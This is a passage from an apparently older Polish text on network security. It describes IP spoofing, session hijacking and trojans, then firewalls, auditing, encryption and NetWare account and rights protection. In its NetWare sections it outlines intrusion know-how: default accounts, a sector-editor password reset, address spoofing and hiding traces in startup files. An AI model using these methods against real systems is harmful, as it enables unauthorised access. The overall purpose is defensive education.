Technika ta jest często stosowana podczas przeprowadzania ataku na sieci uniksowe. Atak ten polega na podszyciu się za pomocą protokołu IP. Dwa komputery otwierające między sobą połączenie muszą uzgodnić parametry transmisji wysyłając pakiet początkowy, który zawiera numer sekwencji, tworzony na podstawie czasu podawanego przez wewnętrzne zegary komputerów. Po zarejestrowaniu w różnych porach dnia kilku numerów sekwencji używanych podczas autoryzowanej transmisji haker może przewidzieć sekwencję numerów, która umożliwia mu otwarcie połączenia z komputerem.

Ataki polegające na przechwytywaniu sesji

Metoda ta pozwala na przesyłanie i odbieranie danych z systemu. Włamywacz szuka istniejącego połączenia między dwoma komputerami, a następnie badając nie zabezpieczone rutery lub zapory ogniowe uzyskuje sekwencję numerów przesyłaną między komputerami. Po uzyskaniu adresu autoryzowanego użytkownika haker przyjmuje jego sesję wysyłając adres użytkownika. Komputer główny przerywa połączenie z legalnym użytkownikiem i „pozwala" hakerowi na uzyskanie dostępu do plików dostępnych dla autoryzowanego użytkownika.

Ataki korzystające ze słabych punktów w systemie

Większość systemów operacyjnych ma słabe punkty. Prawdopodobieństwo, że haker przypadkowo odkryje jeden ze słabych punktów jest bardzo małe. Najnowsza wersja systemu Internet Information Serwer firmy Microsoft zawiera błąd, który może spowodować zatrzymanie systemu. Ujawnia się on tylko wtedy, gdy haker poda określony adres URL składający się z wielu cyfr, podczas uzyskiwania dostępu do strony WWW tego systemu. Adres URL jest bardzo długi i różny dla każdego systemu, co znacznie utrudnia posłużenie się nim. Wykorzystanie pliku zawierającego nazwy zaufanych serwerów w systemie Unix jest nieskomplikowane, ponieważ nietrudno uzyskać dostęp do tego pliku. Dlatego prawdopodobieństwo skorzystania z tej właśnie możliwości włamania się do systemu jest znacznie większe.

Ataki korzystające ze współużytkowanych bibliotek

Jako że współużytkowana biblioteka zawiera zestaw funkcji, które system operacyjny wczytuje z pliku do pamięci RAM, hakerzy mogą zastąpić niektóre programy biblioteki funkcjami wykonującymi inne operacje, które im umożliwiają uzyskanie dostępu do Sieci.

Konie trojańskie

Atak taki jest możliwy w przypadku, gdy włamywacz ma dostęp do sprzętu, który jest wykorzystywany przez administratora. Haker instaluje na stacji administratora programu sumującą kontrolkę, która wprowadzone hasło zapisuje do pliku lub pod wskazany adres. Aby się ustrzec przed takim włamaniem należy limitować dostęp do komputera administratora.

Metody ochrony

Wszyscy powinniśmy zdawać sobie sprawę z powagi sytuacji i zapoznać się ze sposobami zabezpieczenie systemu informatycznego przed włamaniami. Czynność taka jest zbiorem działań, w którym można wyróżnić trzy podstawowe pytania, które należy sobie zadać — co, zamierzamy chronić, przed kim, jak i za ile.

Dobrze zabezpieczony system powinien uwzględniać następujące elementy:

- *Strategię* (odstraszanie, zapobieganie, wykrywanie, minimalizacja skutków przestępstwa, zgodność z prawem);
- *Plan* (zapewnienie funkcjonowania systemu, przeciwdziałanie utracie, zniszczeniu, przechwyceniu i modyfikacji informacji, określenie procedur na wypadek awarii);
- *Wdrażanie* (testowanie, eksploatacja, korekty, rewizja).

Dobrze skonstruowana ochrona powinna uwzględniać możliwość ochrony przed włamaniami z zewnątrz. Większość firm nadaje swoim pracownikom prawa dostępu do Internetu na długo przed zapewnieniem im dostępu do intranetu. Wymiana danych z Internetem powinna się odbywać przez zaporę ogniową (firewall). Zabezpieczenie takie jest zbiorem urządzeń i programów, które łączą dwie lub więcej sieci, a jednocześnie są centralnym punktem zarządzania systemem zabezpieczeń. Zapora ogniowa składa się zazwyczaj z komputera-bastionu, który czasami pełni funkcję serwera. Do tradycyjnej sprzętowo- programowej zapory ogniowej można dodać kolejne urządzenie, zwane ruterem, które podnosi poziom bezpieczeństwa, gdyż służy do oddzielenia pakietów danych według kryterium zdefiniowanego przez użytkownika. Ruter może być zaimplementowany za pomocą dowolnego komputera typu PC lub uniksowego. Dzięki odpowiedniemu skonfigurowaniu zapory ogniowej za pomocą kombinacji komputerów-bastionów i ruterów można uzyskać dobrą ochronę przed atakami użytkowników Internetu. Właściwe skonfigurowanie zapory ogniowej wewnątrz firmy zapewnia wysoki poziom bezpieczeństwa poszczególnym jej oddziałom.

Należy także pamiętać o należytej ochronie sieci przed włamaniami od wewnątrz. Oprócz tego należy także zapewnić ochronę poszczególnych działów w ramach jednej firmy czy instytucji. Należy przyjąć zasadę, że trzeba chronić ważne dane należące do konkretnego działu firmy przed każdym rodzajem ataku, zarówno z Internetu, jak i z innego działu tego samego przedsiębiorstwa. W większości wypadków skupia się większą uwagę na zabezpieczeniu sieci przed złośliwymi atakami z zewnątrz a nie od wewnątrz. Najlepszym rozwiązaniem jest jednak przydzielanie prawa dostępu do konkretnych informacji wyłącznie tym użytkownikom, którzy muszą je znać. Pozostali pracownicy nie powinni mieć dostępu do takich danych. Bez względu na wewnętrzny system bezpieczeństwa, zapora ogniowa zapewni wymagany stopień ochrony. Ponadto zapora ogniowa zabezpieczająca sieć lokalną przed dostępem użytkowników Internetu jest podobna do tej chroniącej dokumenty należące do konkretnego działu.

Ruter ekranujący

Stanowi często pierwszą linię ochrony sieci przed atakami z Internetu lub innych sieci lokalnych. Filtruje on pakiety w warstwie sieciowej i w warstwie łącza danych niezależnie od warstw aplikacji. Dzięki temu rutery kontrolują dane przesyłane w sieci nie wymagając wprowadzania zmian do żadnej aplikacji typu klient czy serwer. Są one wygodne w obsłudze i niedrogie, ale nie są wydajnymi zabezpieczeniami. Aby w pełni zabezpieczyć się przed atakami z zewnątrz, należy na wszystkich warstwach protokołu TCP/IP zastosować zabezpieczenie typu zapora ogniowa.

Zapory ogniowe (firewalle)

Można by o nich napisać oddzielną, obszerną książkę i powstało już takich wiele. Zapora ogniowa kontroluje drogi dostępu między dwiema sieciami. Zazwyczaj instaluje się ją pomiędzy siecią lokalną a Internetem po to, aby chronić swoją prywatną sieć przed dostępem z całego świata. Zapora ogniowa jest wszechstronnym systemem, który zapewnia maksymalną ochronę sieci, a zarazem wnosi tylko minimalne niewygody dla użytkowników dysponujących odpowiednimi uprawnieniami. Najbezpieczniejszą zaporą ogniową jest odłączenie prywatnej sieci od Internetu. Przesyłanie informacji między sieciami wymaga fizycznego ich połączenia. Jeśli nie istnieje połączenie między siecią a Internetem, to jego użytkownicy nie mają dostępu do danych w sieci lokalnej.

Rewizja

To bardzo ważna czynność poważnie ograniczająca ryzyko zaatakowania systemu przez hakera. Rewizja jest prowadzona przez system operacyjny półtrwałym rejestrem operacji wykonywanych przez użytkowników komputera. Jest ona również bardzo ważnym narzędziem wykorzystywanym przez administratorów sieci, którzy korzystają z rewizji podczas wykrywania ataków, śledzenia operacji wykonywanych przez pracowników oraz śledzenia dostępu do serwera. Rewizja ułatwia schwytanie intruza, który zaatakował system i może także umożliwić odparcie takiego ataku ostrzegając przed nim administratora. Ponadto rewizje stanowią jeden z najlepszych

sposobów śledzenia operacji wykonywanych przez użytkowników, gwarantujący, że nie narażą oni systemu na niebezpieczeństwo. Mogą służyć do usuwania skutków ataku. Jest to jedna z najlepszych metod wykrywania ataku, umożliwiająca podniesienie poziomu bezpieczeństwa systemu. Rejestruje bowiem wszystkie operacje (bądź wybrane ich grupy) przeprowadzone na konkretnym komputerze ze szczególnym uwzględnieniem operacji prowadzących do uzyskania dostępu do obiektów chronionych. Użyta na poziomie rutera lub zapory ogniowej służy do sygnalizowania ataków, a po wykryciu ataku określa szkody w systemie i wykrywa, do których danych haker mógł mieć dostęp. Zasady bezpieczeństwa stosowane w przedsiębiorstwie powinny obejmować regularne przeprowadzanie rewizji, analizowanie jej wyników i wykonywanie kopii zapasowych pamiętając, że najniższa dokładność rewizji jest na poziomie komputera, a rewizja na poziomie katalogu ma średnią dokładność, podczas gdy rewizja na poziomie obiektu ma najwyższy wskaźnik dokładności. W wypadku, gdy nieautoryzowany użytkownik pokona zabezpieczenia systemu, rewizja jest jedynym sposobem określenia tego, jakie operacje zostały wykonane przez nich w systemie oraz w jaki sposób doszło do włamania. Bardzo wysokie koszty zastąpienia niezabezpieczonych systemów systemami chronionymi uniemożliwiają wykonanie takiej operacji i korzystanie z rejestru utworzonego podczas rewizji jest dość tanim zabezpieczeniem. Rewizje i badanie zapisów wykonywanych operacji nie zapewnią zatrzymania pracy systemu w przypadku wykrycia ataku. Gdy haker podszyje się pod system nie zostanie to wykryte. Tak samo będzie w przypadku biernego węszenia. Mechanizm rewizji nie wykryje hakera, ponieważ nie usiłuje on uzyskać dostępu do żadnych danych znajdujących się na serwerze, a jedynie spowoduje ich przepływ. Właściwie stosowany mechanizm rewizji jest tylko jednym z elementów rozbudowanego systemu zabezpieczeń. Nie zastąpi on zapory ogniowej, rutera ekranującego ani zasad bezpieczeństwa. Pozostałe zabezpieczenia nie przejmą natomiast funkcji mechanizmu rewizji.

System Unix oferuje wiele narzędzi, które służą do przeprowadzania rewizji i prowadzenia rejestrów, a także inne programy. Większość z nich znajduje się w domyślnej konfiguracji systemu na komputerach uniksowych, dzięki czemu rejestry są prowadzone automatycznie. System Unix przechowuje znaczną część prowadzonych rejestrów w formie plików z danymi tekstowymi zapisanymi w formacie ASCII, natomiast część programów zapisuje dane w plikach binarnych.

Najprostszym narzędziem uniksowym służącym do przeprowadzania rewizji jest plik lastlog, w którym jest zapisywany czas ostatniego zalogowania się oraz informacje o serwerze, z którego się łączono. W momencie, gdy użytkownik loguje się do systemu Unix, wtedy program logujący szuka identyfikatora użytkownika w pliku lastlog a następnie wyświetla datę i godzinę ostatniego zalogowania się tego użytkownika wraz z portem terminala.

Szyfrowanie informacji

Jednym z największych zagrożeń dla bezpieczeństwa przedsiębiorstw i indywidualnych użytkowników jest przechwytywanie transmisji pomiędzy sieciami. Aby zapobiec przechwytywaniu pakietów, należy szyfrować wszystkie dokonywane transmisje.

Zaszyfrowana transmisja zawiera przemieszane dane, które można odszyfrować tylko za pomocą aplikacji z odpowiednim kluczem kryptograficznym. Dzięki temu są zaspokajane wszelkie aspekty informacji:

- Poufność;
- Możliwość ich odczytania przez ściśle określonych odbiorców;
- Integralność;
- Gwarancja nienaruszalności (niemożność modyfikacji danych między kolejnymi ich interakcjami z uprawnionymi użytkownikami);
- Niezaprzeczalność;
- Potwierdzenie autorstwa danych i ich modyfikacji nawet przy formalnych zaprzeczeniach autora.

Zaszyfrowanie umożliwia zabezpieczenie transmisji pocztowej przed podejrzeniem przez kogokolwiek poza adresatem. Dokument po zaszyfrowaniu zmienia się z czytelnego tekstu w serię liczb, które może odszyfrować tylko ta osoba, która ma odpowiedni do tego klucz.

Wyróżniamy dwa podstawowe typy szyfrowania:

- Szyfrowanie z pojedynczym kluczem (szyfrowanie z kluczem symetrycznym);
- Szyfrowanie z kluczem publicznym (szyfrowanie z kluczem asymetrycznym).

W standardowych systemach szyfrowania z kluczem pojedynczym nadawca i odbiorca używają pojedynczego klucza do szyfrowania i odszyfrowywania. Dlatego nadawca i odbiorca muszą najpierw wymienić klucz poprzez bezpieczne kanały, aby móc z niego korzystać przesyłając zaszyfrowane wiadomości poprzez kanały niezabezpieczone. Podstawową wadą systemów z pojedynczym kluczem jest to, że wymagają one, aby obie strony znały klucz przed każdą transmisją. Aby nikt poza adresatem nie miał możliwości odszyfrowania transmisji, należy tworzyć różne klucze dla wszystkich osób, grup lub firm, do których są przesyłane informacje. System szyfrowania z kluczem publicznym wymaga dwóch wzajemnie uzupełniających się kluczy. Jeden z nich — klucz publiczny — można dowolnie przekazać komukolwiek, natomiast drugi — klucz prywatny — powinien być przechowywany w bezpiecznym miejscu. Każdy klucz odblokowuje szyfr utworzony przez drugi klucz. Protokół klucza publicznego skutecznie eliminuje potrzebę zabezpieczania kanałów, czego wymagały standardowe systemy z pojedynczym kluczem. Szyfr użytkownika będzie jednak niemożliwy do złamania tylko pod warunkiem, że nikt nie zna wartości jego klucza prywatnego. Jeśli haker zdobędzie klucz prywatny, to będzie mógł złamać wszystkie szyfry.

Większość projektantów zabezpieczeń typu firewall nazywa tę część obszarem ryzyka. Znajdują się w nim informacje i systemy będące częścią chronionej sieci, do których haker może uzyskać dostęp podczas ataku. Jeśli np. sieć jest przyłączona do Internetu bez pośrednictwa rutera, to jest ona w całości obszarem ryzyka.

Wszystkie komputery główne znajdujące się w niechronionej części są narażone na atak. Nie można uważać za poufne danych znajdujących się w którymkolwiek pliku lub systemie w tej części sieci. Poprawnie zaprojektowana zapora ogniowa ogranicza obszar ryzyka.

Obszar ryzyka stanie się jednak większy, jeśli haker pokona zaporę ogniową. W takim wypadku może on się posłużyć tym zabezpieczeniem podczas dalszych ataków. Punkt, w którym haker pokonano zaporę, stanie się bazą, z której będzie atakował kolejne serwery.

Bardzo istotną sprawą jest także fakt, jakiego używa się pod Uniksem oprogramowania. Wśród całej mnogości dostępnych programów można trafić na te, które nie są znane lub mają wątpliwe pochodzenie. Jest to dobry sposób na rozpowszechnianie różnych programów, wykonujących oprócz swoich założonych zadań także inne, nie zawsze oczekiwane przez użytkownika. Programy takie dzieli się zasadniczo na kilka grup według pewnego schematu:

- *Wirusy* — programu modyfikujące inne programy w systemie i doklejające się do nich;
- *Konie trojańskie* — programy udające jakieś narzędzie, w rzeczywistości jednak wykonujące inne ukryte funkcje;
- *Robaki* — programy przenoszące się przez sieć z komputera na komputer, czasami modyfikujące kod innych programów;
- *Bomby logiczne* — wywołujące ukryte funkcje w określonych warunkach;
- *Bakterie* — programy rozmnażające się i tworzące ogromną liczbę kopii, które zajmują zasoby systemowe.

Wiele z mechanizmów stosowanych w programach jest także wykorzystywana w zwykłych programach do nazwijmy to „ pokojowych” celów. Niezależnie od sposobu, w jaki takie programy atakują system, należy zachować kilka elementarnych zasad bezpieczeństwa. Oto kilka podstawowych wskazówek:

- Zawsze należy zapoznać się z programem przed jego pierwszym uruchomieniem;
- Należy dokładnie przeczytać uruchamiane skrypty i starać się je dokładnie zrozumieć;
- Warto zapoznać się z kodem źródłowym i poznać mechanizmy użyte w programie;
- Nie należy uruchamiać nowych programów z konta `root`;
- Testować nowe programy na komputerze odłączonym od Sieci tak, aby nie mogły udostępnić nikomu żadnych zasobów w jakiś tajny, nieudokumentowany sposób;
- Nie wolno w łańcuchu ścieżki umieszczać nietypowych katalogów;

- Nie można zostawiać niezabezpieczonych katalogów;
- Uprawnienia do poleceń należy ustawić na 555 lub 551 tak, aby nikt ich nie mógł zmieniać.

Ogólnie zaleca się zachowanie dystansu do programów importowanych z niepewnych i nieznanych źródeł, i to zarówno do programów źródłowych jak i skompilowanych. Zdecydowanie nie powinno się ufać programom ściąganym z grup dyskusyjnych dotyczących programów źródłowych. Również programy ściągane z archiwów FTP należy uważać za niepewne i każdy z nich ostrożnie przetestować przed wprowadzeniem do powszechnego użycia. Reasumując — kluczem do dobrego zabezpieczenia systemu jest połączenie działań, które służą:

- Zapobieganiu każdemu potencjalnemu zagrożeniu;
- Planowaniu tego, co należy zrobić, jeśli taka sytuacja już zaistniała (jako że zagrożenia mogą brać się z bardzo wielu różnych źródeł — mogą być spowodowane przez ludzi, którzy niszczą system mniej lub bardziej przypadkowo, albo przez włamywaczy, którzy z rozmysłem chcą dostać się do systemu, czy — jak zagrożenia wewnętrzne — mogą pochodzić od użytkowników uprawnionych do korzystania z systemu — chcąc uniknąć takich sytuacji należy prowadzić umiejętną politykę bezpieczeństwa polegającą na zdefiniowaniu poprawnych i niepoprawnych sposobów wykorzystania kont użytkowników oraz przechowywanych w systemie danych).

Zabezpieczenia systemu NETWARE

NetWare to sieciowy system operacyjny firmy Novell, która była pierwszym producentem oprogramowania umożliwiającego przetwarzanie danych na wielu platformach sprzętowych oraz programowych. Jest to firma, która wiedzie prym w technologii sieci lokalnych.

NetWare określa możliwości serwera, plików, definiuje sposób zarządzania dostępem do plików, usługami drukowania, przesyłanymi wiadomościami, usługami baz danych oraz usługami komunikacyjnymi. Został on zaprojektowany i zoptymalizowany jako oprogramowanie serwera plikowego i oprogramowanie zarządzające siecią. Wykorzystuje zastrzeżoną strukturę katalogów i plików, która została opracowana pod kątem szybkiego dostępu do plików. W odróżnieniu od innych produktów tej kategorii wyżej wymieniony system nie wymaga zastosowania na serwerze innego systemu operacyjnego. Sprawia to, że jest on bardziej spójny oraz nie powoduje kłopotów przy konserwacji. NetWare posiada bardzo dobre zabezpieczenia. Bardzo ważne jest również to, że system ten w odróżnieniu na przykład od systemu Unix (który jest porównywalny z NetWare) wymaga przyznawania użytkownikom praw dostępu.

Sieci Novell NetWare to sieci rozproszone, co oznacza, że informacje przez nie przechowywane umieszczane są w wielu miejscach, a mechanizmy zabezpieczające obejmują także elementy sieci poza serwerem. Zabezpieczenia serwera określane są w każdej sieci NetWare. Konieczne jest również fizyczne zabezpieczenie na poziomie stacji roboczej, które uniemożliwia użytkownikowi nieautoryzowanemu wczytanie do stacji programów (program taki może na przykład na ekranie monitora wyświetlić fałszywą procedurę logowania umożliwiającą hakerowi zdobycie hasła użytkownika).

Wydajność systemu

Na poziomie najwyższym oferowane są usługi, za pomocą których serwer jest wydajniejszy od działających pod kontrolą innego systemu operacyjnego.

Bezpieczeństwo systemu NetWare polega na mechanizmach, jakie wbudowane są na poziomie podstawowym, w odróżnieniu od innych systemów (mechanizmy dodawane jako aplikacje systemu operacyjnego). System używa własnej struktury plików, co powoduje, iż użytkownicy posiadający bezpośredni dostęp do serwera nie mają możliwości użycia tych plików z poziomu innego systemu operacyjnego na przykład DOS czy Unix.

Składniki systemu

NetWare składa się przede wszystkim z oprogramowania serwera plikowego, oprogramowania serwera drukarkowego, oprogramowania sterownika sieciowego, oprogramowania sterownika protokołów oraz oprogramowania przeadresowywującego. Oprogramowanie serwera plikowego jest wykonywane w celu zapewnienia kontrolowanego dostępu do współużytkowanych zasobów sieci. Oprogramowanie serwera drukarkowego wykonywane jest na serwerze plikowym lub innej maszynie podłączonej do sieci i zapewnia dostęp do drukarek. Oprogramowanie sterownika sieciowego jest niskopoziomowym oprogramowaniem komunikacyjnym, które umożliwia urządzeniom sieciowym komunikację z określonym adapterem sieciowym. Może ono być częścią innego oprogramowania lub oddzielnym plikiem czy programem. Oprogramowanie sterownika protokołów stanowi implementację protokołów komunikacji pomiędzy warstwami sieciowymi, umożliwiając urządzeniom sieciowym na komunikowanie się za pośrednictwem sieci. Oprogramowanie przeadresowywujące tworzy logiczne połączenia pomiędzy stacjami roboczymi, serwerami plikowymi i innymi urządzeniami sieciowymi. Oprogramowanie to również dokonuje przeadresowywania wejścia i wyjścia dla urządzeń sieciowych.

Serwery oraz użytkownicy

System NetWare określa prawa dostępu pojedynczym użytkownikom, grupom i ogranicza dostęp do serwera plików. Konieczne jest utworzenie nowych użytkowników na innych serwerach, gdy w sieci występuje wiele

serwerów plików. Biorąc to pod uwagę, konto grupy NetWare ustala zasady bezpieczeństwa dla grupy oraz pozwala na włączenie użytkownika do niej. Użytkownik ten otrzymuje oprócz własnych przywilejów także nadane mu przywileje grupy. Korzystniejsze jest nadawanie przywilejów grupie włącznie ze znajdującymi się w niej użytkownikami niż indywidualne nadawanie praw pojedynczym użytkownikom. Konto użytkownika w systemie tworzone jest w ten sposób, że każdej osobie zostaje nadany przywilej dostępu do plików i katalogów. Żadna z nich nie posiada możliwości korzystania z plików i katalogów, do których wcześniej nie otrzymały dostępu.

Elementy systemu zapewniają mechanizmy zabezpieczające na poziomach, takich jak:

- Ochrona konta;
- Ochrona pliku;
- Ochrona katalogu;
- Ochrona hasła;
- Mechanizmy ochronne między sieciami.

Dostęp do kont systemu NetWare

Najbardziej rozpowszechnione metody włamań do systemu skupiają się na wykorzystaniu kont systemowych w celu uzyskania dostępu do sieci oraz próby uzyskania dostępu do kont o mniejszym znaczeniu, poprzez które haker stara się dotrzeć do kont ważniejszych. Ochrona nazw kont sprowadza się do tego, że prawie każde konto logowania w systemie NetWare pozwala na uruchomienie programu *syscon*, gdyż umieszczony jest on w katalogu *SYS:PUBLIC*.

Haker nie uzyska więc wielu informacji z kont o ograniczonych uprawnieniach. Może jednak poznać imię użytkownika każdego konta znajdującego się na liście kont. Po uzyskaniu dostępu do stacji roboczej może wykorzystać niezabezpieczony hasłem identyfikator, by się zalogować do sieci. W odróżnieniu od programów *login .exe* serwer rejestruje tylko nieudane próby logowania, czyli takie, w których identyfikator jest poprawny, lecz hasło błędne.

Warto dodać, że podczas instalacji systemu tworzone są dwa lub cztery konta: *super* i *guest* lub *superuser*, *guest*, *admin* i *user_template*. Hakerzy usiłują je wykorzystać w celu uzyskania dostępu do serwera. Nadają im hasła, by ukryć swą obecność. Konto *guest* jest często sprawdzane przez administratorów, którzy zapominają często o koncie *user_template*. Poza tym wszystkie konta na serwerze również powinny być sprawdzane w celu wykrycia kont niepowołanych oraz kontrolowania poprawności wszystkich występujących haseł. W dużych przedsiębiorstwach konta standardowe mogą być niebezpieczne ze względu na liczbę używanych kont.

Resetowanie niskiego poziomu to metoda wprowadzona przez firmę Novell, która miała na celu zaprezentowanie użytkownikom sposobu uzyskania dostępu do serwera po utracie hasła przez superużytkownika. Sposób ten polegał na wykorzystaniu

DOS-owego narzędzia programowego używanego do odczytu danych z dysku tzw. edytora sektorów i wykorzystanie go w celu otrzymania dostępu do tablicy alokacji plików (FAT). Program edytora po ponownym uruchomieniu przywraca wartość domyślną bazy Bindery, dzięki czemu guest i superuser nie zostają przypisane hasła. W przypadku usunięcia konta superużytkownika lub jego zniekształcenia metoda ta pozwalała na uniknięcie czyszczenia dysku serwera.

Trzeba jeszcze parę słów poświęcić łamaniu haseł i ich ochronie. Jak wiadomo**,** dostęp do pliku haseł w systemie NetWare nie jest bezpośredni. Wszystkie obiekty oraz ich cechy przechowywane są w plikach bazy Bandery (np. drukarki, indywidualne konta czy grupy, a przykładem cech obiektu może być hasło konta, lista członków grupy, nazwa użytkownika). W systemie 2.x i 3.x plik bazy Bandery ma atrybuty Hidden i System. Są one umieszczane w podkatalogu SYSTEM woluminu SYS.

Najlepszą metodą ochrony jest uaktywnienie systemu wykrywanie intruzów (IDS). Gdy opcja ta jest wyłączona i sieć umożliwia stosowanie haseł zaszyfrowanych, to haker może się do niej włamać. Kiedy wykrywanie intruza jest wyłączone, haker do odgadnięcia hasła może użyć techniki brutalnej.

W celu ochrony firma Novell stosuje szyfrowanie haseł (wersje starsze przesyłały hasła niezaszyfrowane, czego skutkiem mogło być podejrzenie hasła w momencie transmisji). Aby uzyskać lepsze zabezpieczenie sieci wprowadzono kontrolowanie transmitowanych haseł przez administratora.

Blokowanie kont użytkowników

Ataki brutalne i słownikowe należą do najczęstszych ataków wymierzanych w sieci komputerowe. Po określonej liczbie nieudanych logowań system NetWare domyślnie nie blokuje identyfikatora użytkownika, choć możliwość taką ma superużytkownik.

Wyróżniamy następujące opcje wykrywania intruza:

- *Detect Intruder* — w przypadku ustawienia wartości YES uaktywnia proces monitorowania nieautoryzowanych logowań;
- *Incorrect Login Attempts* — pole zawierające liczbę niepoprawnych logowań, które system zaakceptuje zanim zablokuje identyfikator użytkownika;
- *Lock Account After Detection* — po ustawieniu wartości YES w tym polu system zablokuje identyfikator użytkownika, gdy kolejne próby logowania się przez hakera lub użytkownika przekroczą maksymalną liczbę możliwych logowań w poprzednio wymienionym polu (jeżeli wystąpi poprawne logowanie licznik prób nieudanych logowań jest zerowany);
- *Bad Login Retention Time* — po każdym udanym logowaniu zawarty w tym polu czas powoduje zapamiętanie poprzednich prób dostępu.

Przedstawione poniżej atrybuty plików i katalogów zastępują równorzędne poziomy dostępu:

- X — uniemożliwia kopiowanie plików;
- D — uniemożliwia usuwanie katalogów lub plików;
- RO — uniemożliwia usuwanie, zmianę nazw i nadpisywanie plików;
- R — uniemożliwia zmianę nazw katalogów lub plików.

Ważną rolę w zarządzaniu siecią odgrywają administratorzy, superużytkownicy i superużytkownicy równoważni. Najwyższy poziom dostępu w sieci posiadają superużytkownicy, którzy przyznają użytkownikom dostęp do plików i katalogów. Do zarządzania większością elementów i funkcji systemu administratorzy wykorzystują program syscon. Administratorzy, którzy posiadają prawa supreużytkowników indywidualnie dla każdego użytkownika przy użyciu tego programu ustalają parametry związane z kontrolą haseł. Nie należy używać konta superużytkownika z wyjątkiem najbardziej istotnych operacji dostępu. Ryzyko włamania zwiększa pozostawienie zalogowanego superużytkownika.

Do zmiany praw i haseł jedynie superużytkownik może używać programu syscon, jednakże użytkownicy posiadają możliwości przeglądania informacji. Wyżej wspomniany program wyświetla szereg okien udostępniających parametry zabezpieczające hasła. NetWare pozwala na używanie powtarzających się znaków, jednak nie umożliwia syperużytkownikowi oglądania haseł użytkowników. Minimalna długość hasła wynosi osiem znaków.

Do obowiązków administratora należy:

- Uaktywnienie zablokowanych identyfikatorów;
- Uaktywnienie zapomnianych haseł;
- Usuwanie dostępu po odejściu użytkownika z pracy oraz zmiany stanowiska;
- Monitorowanie zmian w przywilejach i uprawnieniach dostępu przyznawanych przez administratora użytkownikom w celu stwierdzenia, czy zmiany te są odpowiednie dla użytkownika;
- Okresowe przeglądanie przywilejów i uprawnień dostępu użytkownika w celu stwierdzenia, czy poziomy dostępu są poprawne.

Dane dotyczące zabezpieczeń przechowywane są przez system w pliku bazy danych, który jest zaszyfrowany i zablokowany. Nie należy go modyfikować.

Warto również przedstawić kwestię ograniczenia stacji roboczych, które wskazują miejsca, z jakich użytkownik posiada dostęp do swojego konta. Mogą odnosić się również do segmentu sieci Token Ring czy Ethernet bądź jakiegoś adresu węzła. Sposobem pozwalającym na obejście wyżej wymienionych ograniczeń jest sfałszowanie adresu stacji roboczej w pierścieniu czy segmencie, gdzie nastąpiło włamanie i uzyskanie dostępu do konta przez hakera. Ograniczenia stacji roboczych mogą być zmienione wyłącznie przez superużytkownika albo przez użytkowników mu równoważnych.

Oprócz ograniczeń stacji roboczych mogą być stosowane ograniczenia czasowe wykorzystywane w celu sprecyzowania czasu, w jakim użytkownik może się zalogować. W momencie kiedy nadchodzi czas wylogowania się użytkownika z systemu, operacja ta jest natychmiastowo przeprowadzana. Jeżeli na stacji roboczej zostanie zmieniona godzina, nie pozwoli to na ominięcie blokady. Ograniczenia czasowe są narzucane przez superużytkownika i mogą zostać zmienione przez niego lub przez użytkowników mu równoległych. Gdy użytkownik nie ma potrzeby logowania się w różnych godzinach i na różnych terminalach, to ograniczenia stacji roboczych i ograniczenia czasowe są przypisywane wszystkim użytkownikom sieci. Operacja ta przeprowadzana jest celowo, by zmusić włamywacza do zalogowania się na stacji roboczej, podczas którego serwer rozpoznaje daną stację i czas logowania.

Gdy jednak włamywacz uzyska dostęp do sieci, jego celem staje się chęć posiadania dostępu do plików i katalogów nieosiągalnych z bieżącego poziomu zabezpieczeń. Bardzo często zdarza się, że hakerzy włamują się na konta zwykłych użytkowników, a dopiero później rozszerzają swój dostęp na obszary, w których wyrządzone przez nich szkody mogą być ogromne.

Większość hakerów ukrywa ślady swojej działalności za pomocą programu filer. Wchodzi on w skład systemu NetWare i pozwala na dokonanie zmian w jakimś konkretnym pliku i ponowne zapisanie. Najczęściej modyfikowanymi plikami są *nlm* i *autoexec.ncf*.

Jeżeli haker uzyska prawa dostępu umożliwiające modyfikację atrybutów plików, to pliki będą wyglądały na nienaruszone, a sposobem ich weryfikacji będzie sprawdzenie każdego z nich.

Hakerzy lub inni użytkownicy mogą wprowadzić również konie trojańskie. Po wykonaniu określonych czynności program taki może się sam usunąć lub wykonywać nadal te same operacje po każdym uruchomieniu go, co umożliwia hakerowi długotrwały dostęp do systemu. Sieci NetWare używają systemu plików NFS systemu Unix do zdalnego montowania różnych systemów plików. Wykorzystywanie tego pozwala użytkownikom na dostęp do danych bez konieczności logowania się na serwerze bądź uruchamiania protokołu IP. Jeżeli prawa pliku NFS ustawione są niewłaściwie, włamywacz może uzyskać dostęp do serwera. NFS pomaga w dołączaniu sieci NetWare do systemu Unix i na odwrót. Trudno jest jednak administrować nim, gdyż konta użytkowników w przypadku obu systemów muszą posiadać te same hasła. Jeżeli pliki konfiguracyjne NFS zostaną usunięte z pamięci, a następnie ponownie wczytane, to system zamontowany ze strony Uniksa udostępnia katalog SYS:ETC tylko do odczytu. Jeżeli dostęp do powyższego katalogu przez Unix jest bezpośredni (bez zabezpieczenia hasłem), haker może przeglądać pliki *.ncf* i *.cfg*, jeżeli jest dostępny z systemu Unix. Informacją dla włamywacza o łączeniu się serwera z komputerami głównymi systemu Unix jest obecność na serwerze pliku NFS.

Każdy użytkownik ma swoje prawa, które jak wiadomo zmieniają się w zależności od katalogu. Należy sprawdzać ich listę w celu zabezpieczenia się przed włamywaczem, który może użyć naszego konta, aby uzyskać dostęp do sieci. pozwala na to jest polecenie *whoami/ r*. Maski praw zwracane przez to polecenie to:

- *SRWCEMFA* — są to wszystkie znaczniki praw, które oznaczają, iż posiadamy pełne prawa;
- *Sxxxxxxx* — oznacza to, że posiadamy pełne prawa do danego katalogu i jego podkatalogów i nie możemy ich utracić;
- *xxxxxxxA* — jest to prawo niemal tak silne jak S i oznacza kontrolę nad katalogiem bieżącym i jego podkatalogami; kontrola dostępu może zostać cofnięta, lecz można wykorzystać prawa dziedziczone w celu jej odzyskania;
- *RF* — komunikat oznaczający jedynie posiadanie prawa do odczytu plików; prawo to powinno być przypisywane użytkownikom w odniesieniu do katalogu zawierającego oprogramowanie;
- *RCWEMFx* — to prawa, jakie powinien posiadać użytkownik do swojego katalogu, w którym może odczytywać, tworzyć i modyfikować pliki;
- *RxWF* — jest to komunikat informujący o tym, że przechowywane są w katalogu pliki rejestracyjne.

